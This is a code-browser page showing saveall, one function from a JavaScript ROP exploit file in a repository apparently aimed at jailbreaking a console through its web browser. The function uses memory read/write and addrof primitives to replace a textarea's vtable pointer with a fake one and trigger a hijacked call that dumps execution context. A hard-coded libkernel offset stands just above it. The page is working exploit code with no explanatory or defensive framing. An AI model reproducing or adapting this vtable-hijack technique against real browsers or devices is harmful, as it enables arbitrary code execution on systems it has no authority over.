MCPcopy Create free account
hub / github.com/GamerHack/GamerHack.github.io / saveall

Function saveall

900v3/rop2.js:42–61  ·  view source on GitHub ↗
()

Source from the content-addressed store, hash-verified

40var pthread_create_addr = libkernel_base+0x24e10;
41
42function saveall()
43{
44 var ans = malloc(0x800);
45 var bak = read_ptr_at(fake_vtable+0x1d8);
46 write_ptr_at(fake_vtable+0x1d8, saveall_addr);
47 write_ptr_at(addrof(tarea)+0x18, fake_vt_ptr);
48 tarea.scrollLeft = 0;
49 write_ptr_at(addrof(tarea)+0x18, real_vt_ptr);
50 write_mem(ans, read_mem(fake_vt_ptr, 0x400));
51 write_mem(fake_vt_ptr, read_mem(fake_vt_ptr_bak, 0x400));
52 var bak = read_ptr_at(fake_vtable+0x1d8);
53 write_ptr_at(fake_vtable+0x1d8, saveall_addr);
54 write_ptr_at(fake_vt_ptr+0x38, 0x1234);
55 write_ptr_at(addrof(tarea)+0x18, fake_vt_ptr);
56 tarea.scrollLeft = 0;
57 write_ptr_at(addrof(tarea)+0x18, real_vt_ptr);
58 write_mem(ans+0x400, read_mem(fake_vt_ptr, 0x400));
59 write_mem(fake_vt_ptr, read_mem(fake_vt_ptr_bak, 0x400));
60 return ans;
61}
62
63/* PUBLIC ROP API
64

Callers

nothing calls this directly

Calls 6

mallocFunction · 0.70
read_ptr_atFunction · 0.50
write_ptr_atFunction · 0.50
addrofFunction · 0.50
write_memFunction · 0.50
read_memFunction · 0.50

Tested by

no test coverage detected